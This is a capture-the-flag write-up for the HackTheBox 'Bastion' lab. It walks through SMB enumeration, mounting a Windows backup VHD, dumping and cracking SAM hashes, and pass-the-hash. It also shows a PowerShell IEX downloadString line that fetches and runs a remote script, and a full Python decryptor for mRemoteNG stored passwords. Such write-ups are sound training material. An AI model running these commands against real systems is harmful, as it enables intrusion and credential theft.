HackTheBox Bastion Writeup
Master the basics of Windows security with the Bastion Capture The Flag (CTF) challenge, an easy-level exercise that covers SMB enumeration, virtual machine backup extraction, password cracking, and privilege escalation. This writeup provides clear guidance on essential techniques to help you build foundational cybersecurity skills.
Add Hosts
Edit the /etc/hosts
file and add the following entries:
1
10.10.10.134 bastion.htb
This ensures that your system can resolve the domain names bastion.htb
to the correct IP address 10.10.10.134
.
Script to add hosts automatically
1
2
3
ip="10.10.10.134"
domain="bastion.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
nmap -sCV bastion.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-14 01:26 CEST
Nmap scan report for bastion.htb (10.10.10.134)
Host is up (0.051s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
| 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Bastion
| NetBIOS computer name: BASTION\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2024-09-14T01:26:46+02:00
|_clock-skew: mean: -39m58s, deviation: 1h09m14s, median: 0s
| smb2-time:
| date: 2024-09-13T23:26:43
|_ start_date: 2024-09-13T23:24:19
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Enumerating Samba Shares
Check available SMB shares:
1
smbclient -L //bastion.htb
Discovered Shares
1
2
3
4
5
6
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
Backups Disk <-- Interesting share
C$ Disk Default share
IPC$ IPC Remote IPC
Mount Samba Share
Mount the Backups
share to a local directory:
1
2
sudo mkdir -p /mnt/smb
sudo mount -t cifs -o username=guest,ro //bastion.htb/Backups /mnt/smb
Extract the Virtual Machine Backup
List the files inside the backup:
1
7z l '/mnt/smb/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd'
Mount the VHD file as a partition:
it uses
libguestfs
install it with your distro pkg manager
1
2
sudo mkdir -p /mnt/vhd
sudo guestmount --add '/mnt/smb/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd' --inspector --ro /mnt/vhd
Extract Administrator Password
Copy the SAM and SYSTEM files to extract the hashes:
1
2
3
4
5
config="/mnt/vhd/Windows/System32/config"
sudo cp "$config"/SAM ./
sudo cp "$config"SYSTEM ./
secretsdump.py -sam SAM -system SYSTEM local
rm -rf SYSTEM SAM secret.txt
Extracted Hashes
Use crackstation.net
to crack the hashes. You will find the hash for user L4mpje
.
Use the Recovered Credentials
Pass the hash and list shares:
1
2
echo "Hash? -> " ; read HASH
smbmap -u L4mpje -p $HASH -H bastion.htb
Log in via SSH:
1
2
3
4
ssh l4mpje@bastion.htb
net user l4mpje
net user administrator
type Desktop\user.txt
System Information Gathering with JAWS
Use JAWS
to enumerate potential privilege escalation vectors:
1
2
3
4
wget https://raw.githubusercontent.com/411Hall/JAWS/master/jaws-enum.ps1
echo "In the victim PC run -> powershell IEX(New-Object Net.WebClient).downloadString('http://"$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')/jaws-enum.ps1"') "
sudo python3 -m http.server 80
rm -rf jaws-enum.ps1
Extract credentials from mRemoteNG configuration:
1
scp l4mpje@bastion.htb:"C:/Users/L4mpje/AppData/Roaming/mRemoteNG/confCons.xml" ./
Decrypt mRemoteNG Passwords
Use the repl to make life easier
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#!/bin/python
import re, base64, hashlib, os, sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def decrypt(mode, data, password):
if mode == 'CBC':
return cbc_decrypt(data, password)
elif mode == 'GCM':
return gcm_decrypt(data, password)
raise ValueError(f'Unknown mode {mode}')
def gcm_decrypt(data, password):
try:
salt, nonce, ciphertext, tag = data[:16], data[16:32], data[32:-16], data[-16:]
key = hashlib.pbkdf2_hmac('sha1', password, salt, 1000, dklen=32)
cipher = AES.new(key, AES.MODE_GCM, nonce)
cipher.update(salt)
return cipher.decrypt_and_verify(ciphertext, tag).decode()
except ValueError:
print('Error: Invalid master password or data integrity check failed.')
sys.exit(1)
def cbc_decrypt(data, password):
try:
iv, ciphertext = data[:16], data[16:]
key = hashlib.md5(password).digest()
cipher = AES.new(key, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(ciphertext), AES.block_size).decode()
except ValueError:
print('Error: Decryption failed, possibly due to incorrect padding or corrupted data.')
sys.exit(1)
def parse_and_decrypt(conf, password):
try:
mode_match = re.search('BlockCipherMode="([^"]*)"', conf)
mode = mode_match.group(1) if mode_match else 'CBC'
if mode not in ['CBC', 'GCM']:
print(f'Unknown mode {mode}.')
sys.exit(1)
if 'FullFileEncryption="true"' in conf:
encrypted_data = base64.b64decode(re.search('<.*>(.+)</mrng:Connections>', conf).group(1))
conf = decrypt(mode, encrypted_data, password.encode())
nodes = re.findall('<Node .+?>', conf)
for node in nodes:
name = re.search(' Name="([^"]*)"', node).group(1)
username = re.search(' Username="([^"]*)"', node).group(1)
hostname = re.search(' Hostname="([^"]*)"', node).group(1)
password_data = re.search(' Password="([^"]*)"', node)
decrypted_password = decrypt(mode, base64.b64decode(password_data.group(1)), password.encode()) if password_data else ""
print(f'Name: {name}, Hostname: {hostname}, Username: {username}, Password: {decrypted_password}')
except (AttributeError, TypeError, ValueError) as e:
print(f"Error processing XML: {e}")
sys.exit(1)
def main():
try:
file_path = 'confCons.xml'
if os.path.isfile(file_path):
with open(file_path, 'r') as file:
config_content = file.read()
print("Found confCons.xml in the current directory.")
else:
config_content = input("Enter mRemoteNG config XML: ")
parse_and_decrypt(config_content, 'mR3m')
except KeyboardInterrupt:
print("\nProcess interrupted by user. Exiting gracefully.")
sys.exit(0)
except Exception as e:
print(f"Unexpected error: {e}")
sys.exit(1)
if __name__ == "__main__":
main()
Obtain Root Access
Log in as Administrator:
1
2
ssh administrator@bastion.htb
type Desktop\root.txt
Cleanup
Unmount directories and remove temporary files:
1
2
3
sudo umount /mnt/smb
sudo umount /mnt/vhd
sudo rm -rf /mnt/smb /mnt/vhd confCons.xml